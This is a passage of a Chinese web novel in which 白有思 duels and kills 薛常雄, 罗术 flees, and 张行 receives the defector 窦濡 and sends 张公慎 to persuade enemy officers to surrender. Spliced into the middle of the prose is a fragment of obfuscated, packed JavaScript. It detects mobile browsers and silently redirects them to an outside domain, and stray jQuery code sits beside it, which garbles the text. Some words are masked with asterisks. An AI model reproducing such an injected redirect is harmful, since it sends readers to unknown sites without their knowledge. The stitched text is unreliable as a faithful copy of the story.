原因不言自明,薛常雄这般威势,只要黜龙帮这边的三位宗师不是傻子,都能察觉,然后迅速支援,而在三位宗师抵达之前,没必要白白付出性命与这柄金刀相抗衡。 “怎么了?”李定诧异勒马,因为牛河与张行几乎是同时勒马,向身后看去。 “薛常雄来了。”骑在黄骠马上的张行蹙眉来对,却又朝牛河求证。“是吧?” “是。”牛河应了一声,同时打量了一下张行。“要不要老夫过去?” “不用。”张行想了一想。“事情到了这一步就不是求快了,而是求稳,咱们往徐水走,确保全局皆胜即可……何况天王与思思也足够应对这把金刀了。” 牛河点点头:“若是张首席觉得足够应付,那便应该无碍。” 旁边李定听得心惊,但正在北向奔驰中,却也只好强压疑惑,随着前方黄骠马继续向北去了。 另一边,金刀长啸,虽然隔着七八里远,却还是在距离河畔十余里的位置追上了两营,张十娘与张公慎也已经胆寒,却又无奈……他们此时早已经发觉,除了天上这柄金刀之外,根本没有河间大营一兵一卒追随,便也晓得之前那窦濡派来的使者怕是说真的,而薛常雄此时更是要孤身拼命了。 这种情况下,一来,一个宗师拼命,谁能拦的住?而拦不住就要死;二来,**也白死! 所以如何不绝望? 然而,那柄金刀越过这两营散乱开来的黜龙军头顶,却还是轻易划过,丝毫不停。 张公慎和张十娘二人并不在一处,此时心情却都一样,乃是先如释重负,随即惊疑,再接着,张十娘心惊肉跳,惶急不安,居然在对方越过自己之后腾跃而起,反而来追那金刀! 这个时候,金刀终于有了反应,乃是凌空一翻,便回身往直奔自己而来的火红一团刺去……但也就是如此了,金刀刚一转向启动,便又陡然在空中停住。 这一次,可不是薛常雄自己停下的,而是被人拽住了。 就在金刀一侧数丈远空中立身的薛常雄忍不住眯起了眼睛,但旋即释然来笑:“白家三娘,数年不见,竟至于此吗?我现在真信你刺龙之事了。” 只穿简易皮甲的白有思凌空而立,一手贴在那巨大金刀的刀柄之上,一手持倚天长剑,闻言倒是礼貌:“薛叔叔许久未见,金刀也更显锋利。” “再锋利不也被你拽住了?”薛常雄笑道。“不过也好,生死之局逢西都故人之后,便是**也不必忧虑被野狗撕咬尸体了。” 听这语气,似乎什么都看开了。 半空中,白有思看着对方,本想提及对方几个儿子,并以此来做劝服,却最终没有开口。 而薛常雄也是一样,他本想问一问对方,为什么要离开父亲来随丈夫,但也没有把话说出口。 二人沉默相对片刻,就在这期间,那柄纯以辉光真气凝结的金刀刀柄依旧不动,刀身却开始摇晃不停,而且晃动幅度越来越大……很显然,二人虽然没有开口和动作,却在暗中以修为和真气来做较近。 远处的张十娘看到这一幕,晓得自己过去只是添乱,便毫不犹豫鼓动离火真气转身逃离。 也就是此时,那柄金刀忽然挣开束缚,再度朝着张十娘身上火红一团飞去。 白有思顺着金刀去向来看,便要再度追上,也就是此时,薛常雄猛地向前扑去,同时拔出了自己腰间的那柄三尺长的金刀本刀,刀光一闪,直奔对方脖颈处而来。 竟是弃了真气凝结的巨大金刀,以手中兵刃来做一击! 然而,白三娘面不改色,甚至都没有去看,只是将已经再度贴上金刀的左手朝着侧面奋力一摆,随之而来的,赫然是那柄巨大的金刀——没错,那柄被放弃的巨大金刀反过来挥向了前主人。 饶是薛常雄战场经验丰富,见了不知道多少离奇的真气法门,此时也不由目瞪口呆,以至于当场失措,然后被自己的金刀迎面拍下,凭空飞出,最后翻落远方田野之中。 一直落了地,受了重创,他还是难以理解。 照理说,自己弃了金刀,没了真气源头的金刀会脱离控制,在向前或碰撞的过程中消散不见,真气也归于天地,可如何能被对方反过来拿走? 就算是对方也是修行辉光真气的,可那到底是自己的真气凝结显化出来的金刀呀! 自己眼皮子底下成长起来的年轻人,如今已经到了这种地步吗? 喘了两口气,其人猛地从田野中弹起,刚至半空,复又被一面巨大的紫色旗帜迎面兜来,几乎再度被扑下,好在其人这一次非是全然措手不及,低空中一个回转,便再度冲上空中,然后金刀再度凝结,劈向了紫色大旗。 随即,不出所料,身后一道金光闪过,带来风声,却居然还是那把金刀! 两柄大小、颜色、形制一样的巨大金刀当空相交,铿锵宛若金铁,更是看的下方周遭不知道多少人目瞪口呆,如观神祇。 半空中,薛常雄不能立足,后撤了十余丈,方才在空中立定,却又分外不解:“白三娘,你观想的到底是什么?” “是人。”白有思没有半点误导对方的意思。“观人而现己,观人以驭物,观人可黜龙,观人如问天。” “观人御物吗?”薛常雄点点头,心中醒悟之余也是愈发佩服,而待其目光从对方金刀上收回,看向了另一侧,却又再度眯起眼睛。“替天行道?雄伯南,黜龙帮为你新起了一面旗帜?” 雄伯南面色不改:“不是为我,这是帮中本义,我来承之罢了!” 薛常雄本想呵斥对方狂妄,但不知为何,左右一看,却反而喟然……这一刻,他是真的有些动摇,觉得这些人是真心实意相信这面旗的,也有这么一丝念想,觉得这些人是真有可能做到这些事的。 因为自红山以后,那个张行的的确确是在一步步做他之前说过那些事情的。 “可惜!可惜!”想到这里,原本已经看开的薛常雄环顾四面,复又摇头。“可惜张行不在这里,不能死在他的手上!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168008|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雄伯南本能便想说些什么。 却不料白有思抢先开口:“天王且去,此地我一剑可当。” 雄伯南愣了一下,旋即醒悟,事到如今,应当以北面战事为上,薛常雄这里,根本没有部队渡河配合,只他一人而已,那样的话,要拖住对方即可。 实际上,这薛常雄步入宗师许久,修为根本不是魏文达能比的,以二对一,操切之间也未必能确切拿下。 想到这里,雄伯南也不耽误时间,一点头,复又鬼使神差一般,怀抱旗帜朝薛常雄一拱手,便挥舞大旗,凌空摆渡,往西北方向去了。 而紫面天王刚走,白有思一声不吭,只一挥手中长剑,她身侧那柄金刀便即刻刺上,与对方的金刀舞动在了一起,一时间,两人两刀,复又一刀一剑,混在了一起。 也就是雄伯南离开此地战场一刻钟后的样子,数十里外的罗信终于逃到了鄚县,并见到了自己的亲父。 “我儿受伤了?”罗术匆匆来迎自家独子,甫一见面便惊惶起来。“谁伤的你?” “是表兄秦宝……”罗术气喘吁吁,外加背部受伤,说几句就不由疼痛起来,直接跌坐在地上。“他沿途追索我,周围又有踏白骑协助他,我委实不能支撑,走到距离此地十里的地方,被他一锏砸到后背,然后又遇到一个姓苏的……不过父亲,现在不是说这个的时候,快撤吧!” 罗术心惊肉跳,赶紧单膝跪地扶起对方再来问:“黜龙军已经到了十里外?如此说来,刚刚几个溃兵说的不错,高阳果真已经失陷了?!” “不止是高阳失陷,我那岳父怕也是落入黜龙军手中了。”罗信努力来言。“我亲眼看见,黜龙军三个宗师一起动手,一下子就把岳父按在了营寨里不能起身,所以才按照岳父出城前的要求弃了高阳城,让夜间收拢的前半段各部骑兵各自逃命……却不料黜龙贼早有准备,直接布置好了罗网,紧跟在了后面!” “魏文达没了?!”罗术面色铁青。“而若如此说来,黜龙军是全军一起渡河,而且有三位宗师压阵,连张行也来了,还有李定……全都冲我们来了?!” “还有徐世英、徐师仁、王叔勇。”罗信咬牙切齿。“这些我都亲眼看见了!父亲,黜龙军分明是全伙来袭,咱们不要想着此战还能有什么结果了,赶紧走,能走一个是一个!晚了,连你我都没结果!” 而罗术犹豫了一下,不由再来言语:“可若是全伙来袭,如何能逃?鄚县这边到高阳都是步卒……我刚刚还让他们整军,准备南下接应败兵!” “黜龙军也是连夜追索,大军整体疲敝,咱们赶紧过徐水回幽州,能走几个是几个,他们应该不会追入幽州地界的。”罗信赶紧解释。 “能走几个是几个?”罗术终于明白对方的意思了。“你是说,咱们不是必败无疑,而是已经一败涂地了?” 罗信眼泪都要下来了,却不知道是沮丧还是疼痛:“正是此意!高阳崩坏后,黜龙军压得太狠了,事到如今,前军全溃了,后军也都被卷起来了!父亲快走吧!” 罗术站起身来,摇摇晃晃,四顾茫然,明显有些难以接受。 跟薛常雄不同……薛常雄顶在前面,战前压力巨大,所以这一战一开始他就有了心理准备,晓得十之**要败,而众叛亲离后,更是一意求死……但罗术呢? 罗术出兵前,甚至刚刚吃早饭的时候还想着此战能有个好结果,就算是让河间这边丢掉信都,只要能挫败黜龙军攻势,保全河间大营的主体存在就算成功。 然后便可以转身趁着天气转暖攻略北地,接着做大做强,乃至于反向吞灭薛常雄与张行。 但现在自家亲儿子忽然告诉他,黜龙军一场主力突袭,河间军还没动呢,就直接把自家整个幽州军给打崩了,也太难以让人接受了吧? 哦,对了,军中第一大将,幽州唯一宗师魏文达,好像也被人抓了,生死不知。 自己独子也被自己外甥打伤了。 再不走,自己也要没了! “父亲,走吧!”地上的罗信真的哭出来了。“我来为你断后,你带着还能整备的兵马后撤,我在后面尽量收拢部队,能带走一个是一个……” “我儿,何至于此?”罗术回过神来,满头大汗,却说出了一番道理。“我是幽州之主,你是幽州的继任,咱们非是怕死,但要是落在黜龙贼手里,就跟往日不一样了……我去寻老白他们,让他们领兵后撤,咱们父子一起走,马上走!” 闻得此言,罗信反而惴惴:“弃军而走,便是回到幽州,也要丧失人心吧?叠加军败,说不得会引来反叛!” “军败是必然,弃军可以遮掩。”罗术恢复了从容。“让老秦假扮我便是,而我们也不要从徐水回去,省得被人认出来……我们过滹沱河,从对面的狐狸淀走回幽州。” 罗信依然惴惴,却说不出什么反驳的话来。 而罗术既然下了决心,反而利索起来,其人就在这城内道中接连下令,让这个亲卫寻白显规,让那个亲卫准备马匹,又让人去寻哨骑往南面探查具体军情。 结果白显规还没到呢,便闻得城外嘈杂起来,然后哨骑先入城,说是已经有一支黜龙军杀到城南,与城南原本就屯驻的幽州兵马交战起来。 这下子,罗术更加利索起来,乃是要求分一支兵主动去做抵挡,同时不耽误见到白显规后立即告知局势,要对方主持撤军,并以十八骑中另一位跟自己长相类似的秦功来做影子,并在随后立即换装,带着自家独子与数十骑低调出了东门,往此地已经是南北走向的滹沱河而去。 来到河畔,没有浮桥,又不敢显露修为腾跃过去,便临时寻了几艘小船,分批渡过,来到了正是杨柳如丝的狐狸淀。 这个时候,鄚县南面的溃兵已经越来越多了,与此同时,也开始出现了成建制的黜龙军,狐狸淀中,罗信忍着疼痛上了马,然后抬头去看头顶已经快到正南方的太阳,只能低头打马跟上了自家亲父。 但走不过数步,便复又勒马:“父亲,你先走吧!我不能走!” 罗术诧异回头,然后惊怒一时:“这个时候耍什么脾气?” “我总得去告知一下义父吧?”罗信面色惶急。“父亲……岳父大人既没了结果,那咱们想在幽州守住,总得有个宗师……河间已经没了指望,若能让薛氏一门来到幽州,岂不两全其美?” 罗术一怔,心中翻转,却是在迟疑片刻后点了下头:“记得保重自己……若遇到为难的情境,该降就降!” 说完,自是打马北上去了。 罗信等了片刻,也掉头往南,直奔河间城而去。 就在罗信打马向南的时候,数十里外的滹沱河另一侧,白有思忽然就散了那柄拿来用了许久的金刀,然后立定在空中。 薛常雄心中微动,晓得关头到了,却也在空中立定不动:“白三娘有什么见教吗?” “见教不敢。”白有思平静来言。“我有一剑,想请薛家叔父鉴赏。” 薛常雄冷笑:“刺龙之剑吗?” “不是。”白有思看着对方,缓缓做答。“恰恰相反,正是那日刺龙之后,有所反思,才得出的这一剑……毕竟那几剑,不过是龙身落地,借力而为罢了,不足为道。” “你倒是心存远大。”薛常雄幽幽一叹。“后生可畏。” “我既观人,又用剑,便自然来想,人为何要用剑?”白有思没有接话,只双目清亮如水,自行解释起来。“想来想去,倒也简单,那便是人体软弱,所以要借金铁之锋锐来破人体……而这便是剑的本意,当日白帝爷以断江真气附兵刃,也是用这个本意。除此之外,非要让剑来代什么君子、天下,不是不行,但却不可以直接拿来刺人,也不能黜龙!” 话到这里,白有思横剑在胸前,另一只手挥动辉光真气拂过剑身,却没有让这柄随她许久,号称倚天的长剑多半分光华,但很快,当这柄平平无奇之长剑指向薛常雄的时候,这位老牌宗师,以兵刃为观想对象的宗师却平白在正午烈日下生出一股寒意来。 “薛总管。”白有思再度开口,却换了称呼。“刚刚以金刀对金刀,只是要知道你有多坚硬罢了,而这一剑,无关他事,也只是要刺破你的真气、你的甲胄,还有你的骨肉,只来杀你!” 一言既出,身形向前,长剑也缓缓提速向前。 而周边上下,天地田野,一时风云色变,刚刚还是三月春光明媚,须臾便四野失色,昏暗一片……这一剑,竟然直接引发了天象! 这还不止,薛常雄横起巨大金刀在前,双目颤动,他分明感觉到了四面八方的天然真气都在往那柄剑上汇集,但不知道为何,真气汇集过来以后,反而在剑身周边消失不见……那柄剑,竟还只是一柄寻常铁剑。 寻常铁剑继续向前,速度越来越快,薛常雄微微眯眼,终于不再被动应对,乃是同样舞动真气凝结之金刀,以刀对剑。 下一刻,刀剑针锋相对,金刀寸寸崩裂,带着金光洒下四方,而长剑越来越快,直奔前方。 当数丈长的金刀全部崩裂的那一刻,薛常雄放弃了抵抗——金刀既折,人何能存? 果然,长剑递入薛常雄咽喉,透颈而出,复又一转,大好头颅便从半空中掉落,抢在身躯与佩刀之前砸在了下方被血渍覆盖的春末青苗之上。 头颅既落,天象消亡,正午的阳光再度洒下,就好像刚刚的风云变色没有发生过一般。 徐水北岸,侯君束猛地抬起头来,阳光打在他沁了不少汗水的脸上,阴晴分明:“时间到,奉总管命,烧了全部七条浮桥!” 第五十四章 千里行(8) 徐水火起。 下午时分,鄚县县城西北侧距离徐水只有数里的一处市镇内,张行领着一众披甲之士站在一个土围子上叉腰而立,望着彼处的烟火看了一阵子,都觉得有些无趣。 这一仗,过于摧枯拉朽了。 晓得黜龙帮这次北伐是兵精粮足蓄势已久,晓得河间大营是江河日下,晓得对上幽州军是从将到兵全方位的碾压,晓得整个河北,乃至于北地都是黜龙帮事先内定的盘中餐,晓得司马正与白横秋才是对手,但只是一手全军偏转大突袭就这般顺利还是让人有些觉得无趣。 这种无趣,在前线告知“幽州大总管罗”军旗下的人可能是冒充的以后就更加明显了。 于是乎,看了一会,张首席带头,大家从土围子上走了下来,便都去休息或者忙碌去了,就连张行本人也开始吃今天的第二顿饼……这一次是热饼加热汤,甚至有桌椅来用……桌椅是路口一家酒楼里现成的,饼也是在人家店里热的,用了人家的劈柴,只是摆了几个铜钱作为象征罢了。 没错,仗还没打完,有些人就开始享受了。 不过,吃饭的地方好歹还算延续了黜龙帮的优秀传统,乃是专门按照廊下食的规矩把一张桌子摆在了店门口路口处,然后放了四条条凳,张首席便只坐在对街的凳上来吃用。 与之形成鲜明对比的乃是李定,这位龙头整理完新到的情报,又检查了一下这个市镇的布防,针对性发布了好几个军令,这才过来。 过来以后,这位此战实际策划者也坐到方桌旁的一条长凳上,却没有用饭,似乎是想说什么事情,却又觉得时机不对……张行忙着吃饭,而且都快吃完了,自然也懒得理会这厮的纠结。 正纠结间,路口一侧道路上便嘈杂起来,几人修为还是足的,远远便看到是张公慎引着十几骑夹着一人来了,看样子像是俘虏,偏偏没有捆缚。 而有意思的是,之前只是闲逛的牛河,此时也主动来到此处,然后顺势站到张行身后的门店内……那样子似乎是做曹彻保镖做习惯了,此时见到有俘虏过来,以防万一主动来为张首席做保护一般。 当然,张首席做惯了上下一致的,见到这一幕直接招手,请了牛河坐到了自己方桌的另一侧,恰好与李定来了个哼哈二将。 果然,那名俘虏来到此处,见到牛河明显一惊,然后才来看正中间吃饼的张行,却不下拜,也不行礼,只是直接站着束手来问:“可是张首席?我是河间大营的郎将窦濡,此番立有殊勋,请首席给个说法!” 张行难得一愣,不免放下最后一口饼子来笑问:“你就是窦濡?是你断了浮桥?” “是。” “为何要如此?你跟我们黜龙帮不是有杀父之仇吗?”张行好奇来问。 “何止是杀父之仇?”窦濡毫不客气道。“自黜龙帮起事以来,我窦氏子弟丧命于黜龙帮之手者,不下七八人,且非是族中骨干,就是族内近枝,我们窦氏根本就是与黜龙帮势不两立……但也正是因为如此,才要行此事!” “你是觉得河间大营不足以让你复仇,恰好我们黜龙帮又是讲信用的,要借此殊勋脱身,再来相对?”张行忽然醒悟。 路口周边许多人闻得此言,都觉得荒唐……便是李定,也不由挑眉。 “不错。”窦濡昂然以对。“河间大营必败无疑,莫说多几千人过河,便是全军摆开车马对垒,也是必败无疑,而到时候,我若不想死,就只能降到你们中去,可若降的话,我素来傲气,不擅遮掩,想要脱身也难……所幸你张首席虽崛起低微,却向来以恩信著称,否则何以五六年内便从单骑浮马到现在鹰扬河朔,以至于握有天下三分之势呢?” 话到这里,窦濡终于第一次拱手行礼:“张首席,战前你曾让谢总管来言,河间大营愿降者,留去自由,而我今日之举,无论怎么算,对黜龙帮而言都是有功无过,敢问张首席可否放我与我本人亲卫二十三骑,自此处西归晋地……以便将来报仇雪恨,手刃仇敌?” “应该可以。”张行从容点头。“但不能现在西归,你要么先过去邺城,然后从邺城出发,自行决定去向,要么留在我这里等一个月也行……总之,我不能让你现在去西面,省的引出什么干扰战局的事来。” 窦濡精神大振:“我就知道张首席可信!我愿从邺城转走!” 张行吃入最后一口饼,随即一摆手,窦濡也便要离开。 不过,就在这时,李定忽然插嘴喊住了对方:“窦八郎!” 窦濡重新立住,坦然朝李定拱手:“李四郎还有事?还是李龙头有事?” “都一样……我只是好奇,窦八郎刚刚说天下三分之势,那敢问你心里三分的三家是哪三家?”李定正色来问。 “自然是西都白氏,东都司马氏和邺城的张氏了。”窦濡冷笑道。“当然,我晓得,张首席取天下到手之前肯定不会认张氏的说法,只会说是黜龙氏罢了。” 张行咽下嘴里最后一口饼,开始往热汤上吹气。 “南方萧氏在你眼中不值一提吗?”李定蹙眉来问。 “南子有什么可提及的?”窦濡不以为然道。“便是有半壁江山在手,便是出了些豪杰,也只是内耗在淮水以南,坐待北方英雄决出胜负后去吞并罢了。” “原来如此。”李定摆手示意。“且去。” 倒是窦濡,此时起了意气,居然站在那里反问回来:“李四郎,我也好奇,白三娘可以在关西河北之间不分彼此,你如何强要留在黜龙帮?” 李定凛然以对:“自然是因为黜龙帮与天承命,替天行道,能成大略,而关西诸辈皆庸庸碌碌,既不知天命,也不晓人心,不过是循着旧例裹着一群人求一家一姓之利罢了……我李定既怀大志,焉能与那般人为伍?” “原来如此。”窦濡冷笑道。“我还以为是李四郎是不舍得自己那两郡地盘,结果被张首席给钓住了呢。” 说完,径直在张公慎及其带领的一队甲士看管下离开了此处。 而李定并无半点不妥,反而来问张行:“你觉得此人如何?” “什么如何?”喝汤的张行有些茫然。 “能耐、才情,总之你对此人的评价如何?” “挺不错的。”张行想了想,认真点头。“能洞悉双方阵营的底色,能在短时间内抓住机会决断死中求活,能哄骗过河间大营许多人,能来到这里对咱们侃侃而谈……无论怎么看都很不错了。” 李定顿了一顿,看到除了桌子上的三人外路口并无其余头领,便低声来问:“那比之寻常黜龙帮头领如何?” 张行想了一想,认真道:“跟帮里那些建帮前两年便加入现在还没有成为大头领的头领而言,无疑是高出许多的,但跟帮里的大头领们相比,跟现在帮里几个年轻人相比,大约还是没有过于突出的。” 李定认真打量了一下对方,也只能点头:“你晓得我的意思就好。” 张行当然晓得对方的意思,本质上就是李四郎这个贵族精英素来看不上黜龙帮里的那些混子土豪头领,而黜龙帮里也的确是猬集了一大批素质平平的头领,都是因为时势纳入其中,然后沉在里面了。与此同时,张行本人也的确因为出身缘故,素来瞧不起那些贵族子弟。 而这一次,这些东西都被这位窦濡窦八郎给钓了起来,才有此一问。 至于张行的回答,本身就对此事做了解释——确实有头领素质不佳,但是你看看,我是不是全都压住没让这些人到重要岗位上去?你再看看,咱们重用提拔的人跟现在冒出来的年轻人,是不是都是人才? 李四郎自然只能讪讪。 这一讪讪,张行就把汤喝完了。 而汤刚一喝完,碗还没还给人家,就又有人来了……乃是徐世英亲自带着侯君束来到此处。 “徐副指挥如何亲自来了?”见到来人,李定微微蹙眉。“马分管不是在鄚县吗,徐水边的主战场是谁在主持?是雄天王回来了吗?” “给徐副指挥上份热饼与热汤。”张行倒是毫无责任心。“牛公和李龙头也要来。” “天王还在搜寻罗术父子下落,是白总管与单龙头一起到了。”徐世英坦然回复,趁势放下头盔,坐到了方桌最后一面的长凳上。“而且徐水那边根本就不算是两军对垒,浮桥一烧起来,原本还能做支撑的步兵大阵就自散了,现在就是趁势追杀和収降。徐水不大也不小,所以淹死的人也少,可逃走的人也不少……我来之前,只有白显规打着罗术的旗号,外加七八人领着多少不一的兵马,或是背河或是占据村寨来做顽抗,单龙头跟白总管也是挨个拔除罢了。” 话到这里,徐大郎按着送上来的汤碗顿了一顿,方才总结道:“我估计,天黑之前就能扫荡完毕徐水以南战场……至于幽州军这一次,就算是称不上主力尽丧,也实际上十丧五六,再去打时,便可从容推进,全胜无疑了。” 李定微微颔首。 而张行也终于开口了,却是看向了有些狼狈的侯君束:“侯头领,这都是你的功劳!” 侯君束立在那里一直低头,此时闻言,抬起头来,居然泪水涟涟:“首席神威,不敢不从,但断了全军生路,我也着实惭愧……而且还自作主张放走了本部数百骑,请首席治罪。” “无妨的。”张行摇头以对。“我给你的任务是断桥,你只要断了桥,什么都无所谓。反过来说,若是你没断,那还是什么都无所谓……侯头领,你千般艰难,万般心软,都不必多言,咱们的关系,从现在重新来过,你就是黜龙帮的一位头领,该你的都有,不该你的也无……不过现在给你个额外机会,你自己挑,是想领兵还是做地方官,又或者是要在大行台奉公?” 除了背对着侯君束的徐大郎在吃饼喝汤,其余几人,包括刚刚安置好窦濡转回的张公慎,都盯住了此人。 “我听首席吩咐。”侯君束当即做答。“首席说什么是什么。” 其实,这位侯头领很想说继续领兵的,但早在徐水边上他就想了又想,将心比心,张首席断不会让到自己这种人再去领兵,真要是到时候再来个临阵断桥怎么办? 所以,哪怕是一万个不乐意,却也早就准备好了这个答案,此时只是忍痛来言罢了。 否则,如何舍得放高副将领着那几百骑北走? “那就好办了。”张行点了下头。“听人说你这个人是打小照着军官来养的,又熟悉北地、幽州的地形,还是继续领兵吧……不过现在暂时没有兵给你,你先去休息,今后几日只随我行动。” 侯君束既惊且喜,可转念想起放走的高副将和那几百幽州骑兵,却又后悔不迭,不由再度心痛起来。 而张行也再度招手,喊了张公慎过来吃饼喝汤。 此时,侯君束原本已经想要离开收拾一下,闻得此言,心中一动,刚刚的心痛便被压了下去,然后居然转身扶刀立在了张首席身后门店的边上,宛若侍卫一般。 也不知道是不是想瞅机会上桌。 只不过,张行早装作没看见这厮。 张公慎过来,方桌四面都已经坐了人……所幸桌子大,徐大郎主动往边上让了一让,两人各自挂了一个角,都将头盔放在脚下,然后带着甲胄和罩衣来吃饼,只是徐大郎后腰上的惊龙剑不曾放下,而张公慎腰中的青冥剑是专门取下放在桌角上的。 饼子吃了两口,张公慎便正色来言:“首席,我知道罗术已经逃走,现在打着罗术旗号的应该是白显规那几人,我想去劝降他们。” “所以才专门押送一个窦濡过来?”张行笑问道。 “我是亲眼看到薛常雄金刀碎裂,晓得前方战局大势已定,再加上我营因为金刀来袭主动弃了建制散开逃命,短时间内很难整备齐全,才起了这个心思,然后还正式借了白总管的军令来见首席。”张公慎立即解释。 “我晓得。”张行摆手示意对方放松。“我看到你提前从高阳送来的文书了,也没有道理拦着你去劝降,真要是能说降几个幽州将领自然是好事……只是张头领,我有几句话要提前说给你听。” 张公慎闻得此言,如何能放松,反而严肃起来:“首席请讲。” “张头领,你是个德才兼备之人,这也是我还有帮里上下看重你的缘故所在,但越是如此,越要跟你说清楚。”张行款款来言。“我允许你去劝降,是因为现在军事任务已经完成了,或者说这一次军事行动过于轻松,可以按照**考量来做事。而从**考量来言,自然是可以讲些人情的……我老早就听人说过,‘没有人情的**是不长久的’,今日事大概如此……但是,今日去做这些事的时候咱们心里一定要明白,这是**,而一旦事情归为军事,那所谓人情反而会坏事的。” 话到这里,张行指着对方身前不知道是汤碗还是佩剑来言:“金杯共汝饮,白刃饶相加……对于降人,咱们要有这个准备。” 周围几人一直没有插嘴,但不知为何,这句话后还是给人一种陡然安静下来的感觉,徐大郎甚至抬眼看了下对面面色发白的侯君束。 “我晓得。”张公慎站起身来保证。“能劝则劝,劝不了则杀,绝不会误公事。” “吃完再去。”张行好心提醒。 张公慎复又坐了下来,真就吃完饼喝完汤,然后方才戴上头盔,拎起那柄青冥剑告辞而去……张行好像也此时才想起侯君束,唤对方入座吃饼。 侯君束战战兢兢入座不提,另一边,张公慎出了市镇,带上自己的几十骑,便往东北方的战场而去。 行不过一里路,身后市镇还清晰可见的时候,便迎面遇到足足一营兵马,却正是去年年底大会被授了百里剑的苏靖方及其部属。 双方在官道上打了个照面,张公慎自然来问:“苏头领,你为何往西去,可是西面也有被围的幽州军?” 苏靖方赶紧勒马摇手,同时有些丧气:“不是,我营本就在战场最西面,只是师……只是李龙头那里军令,之前要我尽快前突,到徐水堵住西侧,防止幽州军从西边逃出去,结果仗打的太顺了,堵住西面没半个时辰,幽州军就全溃了,我正想往东去呢,结果又来军令,让我继续往西,给首席和龙头做个西北面的侧翼前卫。” 张公慎还能说什么,只能点点头,然后又来问对方是否知道现在还被围着的几处幽州军据点,得到消息后,便也匆匆赶路。 结果,刚刚过了这营兵,走了又不过两里路,便又遇到一群人,乃是一大队扶老携幼的本地百姓,正在一队黜龙帮军士的带领下往南归已经被控制的家中……很显然,局势发展的太快,这些人原本躲藏的地方,如今已经成了战区。 张公慎已经主动让到田野中来避让,结果想起昨夜部分幽州军俘虏**后的举止,又忍不住靠过来提醒,让这些人务必小心防备,区分敌我。 就这样,张公慎虽是一心要来去救自己幽州方向的兄弟,可一路走来,却着实遇到了不少的事情……逃难的百姓,受伤的士兵,转移的部队,包括军法营的巡逻队在执行军法,幽州军溃兵在趁乱**,当然也免不了遭遇交战。 这还没完,心情愈发复杂的张公慎来到第一处预定地方,却沮丧发现,幽州大将赵八柱再度弃军而走,剩下的兵卒全部投降给了大将徐师仁。 于是只能快马加鞭,往白显规被围的地方赶去,走到半路上才知道,白显规刚刚尝试突围,主持战局的王叔勇下令故意放开北面,现在已经往北逃散了。 张公慎愈发焦急,直接弃了亲卫和战马腾跃起来,往北面去寻,然后果然在徐水边上发觉,正有黜龙军在**一支明显还具有抵抗力的幽州军,且幽州军阵中尚有“幽州总管罗”的大旗飘扬。 张公慎落下,来寻负责**的主将,见到人后不由有些吃惊和不安。 原来,追的最紧,打的最凶的这一营主将,居然是刚刚升任头领并领兵的窦小娘,而其带领的部属,赫然是之前整军中淘汰头领的旧部整合而成……这等兵将,如何打的这般凶? 但转念一想,也能理解,窦小娘升任头领时遭遇相当多的头领落手,本身就着急证明自己,加上她的天分和能耐本就不差,自然至此。 相对应的,张公慎也有些担忧对方会不愿意配合。 “张分管有首席、徐副指挥、几位龙头的军令吗?”果然,没有挂罩袍,可盔甲上满是被离火真气烤干血渍、宛若凭空加了罩袍的窦小娘明显不满。 “得了首席口令,允许我自由劝降。”张公慎严肃以对。 “那就去吧!”窦小娘虽然情绪明显,却居然立即服从。“我让部队暂时稳住。” 张公慎惊喜之余,也不由心中微动……他敏锐意识到,眼前的这个年轻头领可能是黜龙帮内第一个在基层得到充分锻炼,然后成长起来的年轻头领。 这一点,连韩二郎都比不上,跟王雄诞、贾闰士、马平儿也不是一个路子。 “不会耽误太久。”一念至此,再加上来时张首席的叮嘱,张公慎也旋即肃然以对。“若是两刻钟内我不能回来,你们便立即进攻……事情不妥,我提前逃回来,也会与你说。” 窦小娘这才稍缓。 须臾,去了甲胄,只着一身黜龙帮新式红色罩衣,带着一把剑的张公慎借了匹马,便单骑来到徐水边上那面“幽州总管罗”的大旗下。 双方见面,果然等在这里的是白显规。 但张公慎的目光先落在了旗下一具尸体上面,那具尸体穿着一副华丽盔甲,却是同属于昔日燕云十八骑的秦功。明显负伤的白显规努力站起来,也看了眼身旁死去的秦功,难掩哀色。 随即,昔日燕云十八骑中算是最出挑的两人开始面面相对。 张公慎压抑住种种复杂感情,率先开口,却居然没有谈及兄弟感情,反而是从一个意想不到的角度说起:“薛常雄**,虽说河间之败是必然,但他死这么快,还是因为其部属窦濡身为先锋临阵断桥,逼的他孤身来决死……” 白显规明显愣了一下,先回头去看身后还在冒烟的徐水,然后再来看张公慎,满脸不解:“窦濡?” “不错。” “他不是跟黜龙帮有杀父之仇吗?” “张首席也这般问他的……”张公慎随即将之前窦濡在张行、李定身前的一番言语丝毫不漏的转述了一遍,最后才点出关键。“白大哥,我说这个是想告诉你,不要再自欺欺人了……连窦濡这种贵族小子都晓得,天下形势分明,能争雄的……最起码河北这边能争雄天下的,只有黜龙帮,人家威德已成、大势已成,河间也好、幽州也罢,都只是人家嘴中肉罢了,注定要被吞的。” 白显规认真听完,沉默片刻,并没有反驳,只是顺势来问:“如此说来,你老张早两年便看出来只有黜龙帮才能成事,所以早早过去了?” 这话明显有嘲讽之意。 “正是如此。”张公慎平静来答。“我之前去的时候,当然有些道理和缘故,但却没有弄清楚那些道理是什么……到了今日反而醒悟了……白大哥,我问你,你以为争天下是靠什么?” “当然是拳头大、真气足。”白显规见对方丝毫没有被自己言语挤兑,甚至愈发诚恳,反过来就有些沮丧。“不然呢?要不是昨夜三个宗师一下子把魏大刀给拿下了,我们何至于连还手的机会都无?若不是三个宗师摆在那里,窦濡便是聪明的厉害,又如何敢违逆那柄金刀呢?” “白大哥说的有道理。”张公慎依旧诚恳。“而且非只是三位宗师,黜龙帮内成丹、凝丹的数量,也要超过幽州与河间的总合……但是敢问白大哥,为什么这些宗师,这些豪杰,都会膺服于黜龙帮呢?里面没有你认识的吗?你不晓得那些人的能耐和气魄吗?他们为什么不来投奔幽州?” 白显规再度被驳倒,连说话的力气都无了。 